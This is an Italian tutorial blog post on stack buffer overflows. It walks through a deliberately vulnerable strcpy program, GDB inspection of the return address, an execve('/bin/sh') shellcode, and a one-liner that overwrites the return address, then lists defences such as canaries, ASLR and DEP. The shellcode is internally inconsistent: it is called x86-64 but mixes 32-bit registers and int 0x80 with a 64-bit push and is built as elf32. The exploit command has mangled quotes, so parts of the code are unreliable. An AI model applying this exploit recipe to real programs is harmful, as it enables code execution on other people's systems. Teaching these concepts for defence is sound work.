Capire il Buffer Overflow: Un’Indagine Sulla Sicurezza Informatica

ALTRO, APPUNTI, SICUREZZA INFORMATICA, TUTORIAL

Il buffer overflow rappresenta uno dei bachi di programmazione più antichi e problematici, rimanendo ancora oggi una delle vulnerabilità più comuni e questo articolo mira a illustrarne le basi, fornendo un esempio e discutendo come gli sviluppatori possono proteggersi da questa tipologia di attacchi.

Cos’è un Buffer Overflow?

Il buffer overflow è un tipo di vulnerabilità che si verifica quando scriviamo più dati in un buffer di quanto ne possa contenere. Questo può causare la sovrascrittura di dati in zone di memoria adiacenti, comportando comportamenti imprevisti, inclusa l’esecuzione di codice arbitrario.

Ecco come funziona in dettaglio:

1. Un programma, durante la sua esecuzione, riserva delle aree di memoria chiamate buffer per memorizzare temporaneamente dei dati. Questi buffer hanno una dimensione fissa, determinata al momento della creazione.

2. Se un attaccante riesce a inviare più dati di quanti il buffer possa contenere, i dati in eccesso possono sovrascrivere aree di memoria adiacenti al buffer.

3. In alcuni casi, un attaccante potrebbe essere in grado di sfruttare un buffer overflow per eseguire codice arbitrario. Questo è particolarmente pericoloso, poiché potrebbe permettere all’attaccante di prendere il controllo completo del sistema.

Un Esempio di Buffer Overflow

Consideriamo il seguente programma C:

#include <string.h>

void funzione_vulnerabile(char *arg) {
char buffer[100];
strcpy(buffer, arg);
}

int main(int argc, char **argv) {
funzione_vulnerabile(argv[1]);
return 0;
}

Questo programma è vulnerabile agli attacchi di buffer overflow perché utilizza la funzione `strcpy()` per copiare l’argomento `arg` nel buffer senza controllare la lunghezza dell’argomento. Se l’argomento è più lungo di 100 caratteri, i caratteri in eccesso sovrascriveranno la memoria adiacente al buffer.

L’Analisi del Buffer Overflow

Gli strumenti come GDB (GNU Debugger) e Valgrind possono essere utilizzati per analizzare il comportamento di un programma durante un overflow di buffer. Ad esempio, puoi utilizzare GDB per impostare un breakpoint all’interno della funzione vulnerabile e osservare come cambia la memoria quando viene fornito un input troppo grande.

Supponiamo che tu abbia compilato il codice C vulnerabile con il comando gcc con l’opzione -g, che include le informazioni di debug:

gcc -g -o programma_vulnerabile programma_vulnerabile.c

Per eseguire il programma all’interno di GDB, potresti utilizzare il comando seguente:

gdb ./programma_vulnerabile

Una volta all’interno di GDB, potresti impostare un breakpoint all’interno della funzione vulnerabile, ad esempio con il comando

 break funzione_vulnerabile

Quindi, potresti eseguire il programma con un argomento di tua scelta, ad esempio con

run AAAA

A questo punto, il programma dovrebbe fermarsi al breakpoint che hai impostato.

Per generare un input  di lunghezza arbitraria può essere utilizzato Python . Ad esempio, il seguente script Python genera una stringa di 200 caratteri ‘A’:

python
print('A' * 200)

Questo input può poi essere passato al programma per osservare cosa succede quando si verifica un overflow di buffer.

Potresti quindi utilizzare comandi come next per eseguire il programma un passo alla volta, e print o x per esaminare il contenuto della memoria.

Impostazione di un breakpoint

Un breakpoint è un punto nel tuo codice dove desideri che l’esecuzione si fermi. Puoi impostare un breakpoint utilizzando il comando “break”. Ad esempio:

break funzione_vulnerabile

Eseguire il codice fino al breakpoint

Una volta impostato il breakpoint, puoi eseguire il codice fino a quel punto utilizzando il comando “run” seguito dagli argomenti del tuo programma:

run ARGOMENTI

Analisi della memoria: dopo che il tuo programma si è fermato ad un breakpoint, puoi esaminare il contenuto della memoria con il comando “x”. Ad esempio, il seguente comando visualizza 20 indirizzi di memoria a partire dall’indirizzo specificato:

x/20x $esp

Modificare il contenuto della memoria: Puoi utilizzare il comando “set” per modificare il contenuto della memoria. Ad esempio, il seguente comando imposta il valore dell’indirizzo di memoria specificato a 0:

set {int}0x804a000 = 0

GDB è uno strumento potente con molte funzionalità avanzate, ed il suo uso va oltre queste funzioni di base. La documentazione ufficiale di GDB è una grande risorsa per apprendere di più sulle sue capacità.

Nell’ambito di un overflow di buffer, gli attaccanti spesso sovrascrivono l’indirizzo di ritorno di una funzione per far puntare al loro codice dannoso (o shellcode). Questo indirizzo di ritorno è memorizzato sulla stack frame della funzione, vicino al buffer che si sta cercando di far andare in overflow.

Per trovare l’indirizzo di ritorno, si può eseguire il programma con GDB e impostare un breakpoint in un punto del programma dove si può ispezionare lo stack. Una volta raggiunto il breakpoint, è possibile utilizzare il comando info frame per visualizzare le informazioni sulla stack frame corrente, compreso l’indirizzo di ritorno.

Ad esempio, si può fare qualcosa del genere:

(gdb) break nome_funzione
(gdb) run
(gdb) info frame

Questo ti mostrerà un’output simile al seguente:

Stack level 0, frame at 0x7fffffffdf60:
rip = 0x5555555547ed in nome_funzione (source.c:16); saved rip = 0x555555554816
called by frame at 0x7fffffffdf90
source language c.
Arglist at 0x7fffffffdf50, args: 
Locals at 0x7fffffffdf50, Previous frame's sp is 0x7fffffffdf60
Saved registers:
rip at 0x7fffffffdf58

Nell’output sopra, saved rip è l’indirizzo di ritorno che verrà utilizzato quando la funzione corrente termina. Nel caso di un overflow di buffer, questo è l’indirizzo che vorrai sovrascrivere con l’indirizzo del tuo shellcode.

Tuttavia, ci sono molte tecniche di protezione che possono rendere difficile o impossibile utilizzare questo tipo di attacco su un sistema moderno, come il DEP (Data Execution Prevention), l’ASLR (Address Space Layout Randomization) e le stack canaries.

Ricorda, è importante utilizzare queste informazioni in modo responsabile e solo in un contesto legale e sicuro.

A questo punto abbiamo bisogno di creare lo shellcode da lanciare e da inserire in memoria al posto giusto.

Lo shellcode è un pezzo di codice utilizzato durante l’exploit di una vulnerabilità per fornire un payload che viene eseguito nel contesto del processo compromesso. Normalmente, lo shellcode è scritto in assembly e deve essere molto compatto; a scopo didattico, di seguito è possibile vedere lo shellcode che esegue una chiamata di sistema `execve` per lanciare `/bin/sh`, che apre una shell. L’esempio è scritto in  il linguaggio assembly. L’implementazione corretta dipende dall’architettura del sistema operativo, ma ecco un esempio molto basilare per un sistema Linux x86-64:

section .text
global _start

_start:
xor eax, eax
push eax
push 0x68732f2f6e69622f
mov ebx, esp
push eax
push ebx
mov ecx, esp
mov al, 11
int 0x80

Lo shellcode è una sequenza di istruzioni di codice macchina che l’exploit inietta in un programma in esecuzione. Nel contesto di un buffer overflow, lo shellcode viene spesso utilizzato per sovrascrivere l’indirizzo di ritorno di una funzione e reindirizzare il flusso di controllo del programma.

Questo shellcode può essere convertito in una sequenza di byte utilizzando un assembler, come `nasm`, e quindi esaminato con `objdump`:

nasm -f elf32 -o shellcode.o shellcode.asm
ld -m elf_i386 -o shellcode shellcode.o
objdump -d shellcode

Il risultato sarà una sequenza di byte che rappresenta lo shellcode, che può essere iniettata in un programma vulnerabile. Tuttavia, lo shellcode dovrà evitare determinati caratteri (ad esempio, null bytes) che potrebbero interrompere la stringa iniettata. Inoltre, lo shellcode dovrà essere posizionato in un luogo prevedibile in memoria, che potrebbe richiedere ulteriori tecniche di exploit.

L’operazione di sovrascrittura dell’indirizzo di ritorno con l’indirizzo del tuo shellcode è la fase critica dell’exploit.

Per farlo, devi innanzitutto conoscere l’esatto offset tra l’inizio del buffer e l’indirizzo di ritorno e come visto prima può essere fatto sperimentalmente, ad esempio inserendo una lunga sequenza di caratteri nel buffer e vedendo dove si verifica il crash del programma.

Una volta conosciuto l’offset, devi organizzare l’input al programma in modo tale da riempire il buffer fino all’indirizzo di ritorno, e poi inserire l’indirizzo del tuo shellcode. L ‘indirizzo deve essere inserito nel formato corretto, cioè in ordine inverso di byte (little endian) a causa del modo in cui i processori x86 leggono i numeri.

Supponiamo che l’offset sia di 100 byte e che il tuo shellcode sia localizzato all’indirizzo `0x7fffffffdf40`; , supponendo che stai utilizzando la shell bash per passare l’input al tuo programma, il comando per eseguire l’exploit potrebbe apparire così:

./vulnerable_program $(python -c ‘print “A”*100 + “\x40\xdf\xff\xff\xff\x7f”‘)

Questo comando utilizza Python per generare una stringa di 100 caratteri ‘A’, seguita dall’indirizzo del tuo shellcode in formato little endian. Il tutto viene passato al tuo programma come input.

 

Proteggersi dai Buffer Overflow

Per prevenire i buffer overflow, gli sviluppatori devono adottare buone pratiche di programmazione e considerare l’utilizzo di strumenti di protezione. Ecco alcune tecniche che possono aiutare a prevenire i buffer overflow:

Controllo dell’input: Gli sviluppatori dovrebbero sempre controllare la lunghezza e il formato degli input prima di utilizzarli, per evitare di scrivere oltre la fine di un buffer.

Utilizzo di funzioni sicure: Alcune funzioni di libreria, come `strcpy()`, sono note per essere vulnerabili ai buffer overflow. Esistono versioni più sicure di queste funzioni, come `strncpy()`, che consentono agli sviluppatori di specificare la lunghezza massima della stringa di destinazione.

Canary Stack: Questa tecnica implica l’aggiunta di un “canary” (un valore noto e non prevedibile) tra il buffer e il controllo del flusso di dati sullo stack. Se un buffer overflow avviene, il canary verrà sovrascritto, il che può essere rilevato e il programma può essere interrotto prima che il controllo del flusso venga alterato.

Address Space Layout Randomization (ASLR): Questa tecnica rende più difficile per un attaccante trovare indirizzi di memoria utilizzabili nel processo di exploit rendendo casuale la disposizione dello spazio degli indirizzi di un processo.

Non-Executable Stack: Molti attacchi di buffer overflow tentano di eseguire codice iniettato sullo stack. Rendere lo stack non eseguibile può prevenire questi attacchi.

Data Execution Prevention (DEP): Questa tecnica, nota anche come NX (No Execute), può prevenire l’esecuzione di codice in regioni di memoria non autorizzate.

Ricordate, il modo più efficace per prevenire i buffer overflow è scrivere codice sicuro. Anche se gli strumenti di protezione possono aiutare, non possono prevenire tutte le forme di attacco e non sono un sostituto per buone pratiche di programmazione.

 

 

Se vuoi farmi qualche richiesta o contattarmi per un aiuto riempi il seguente form

    Comments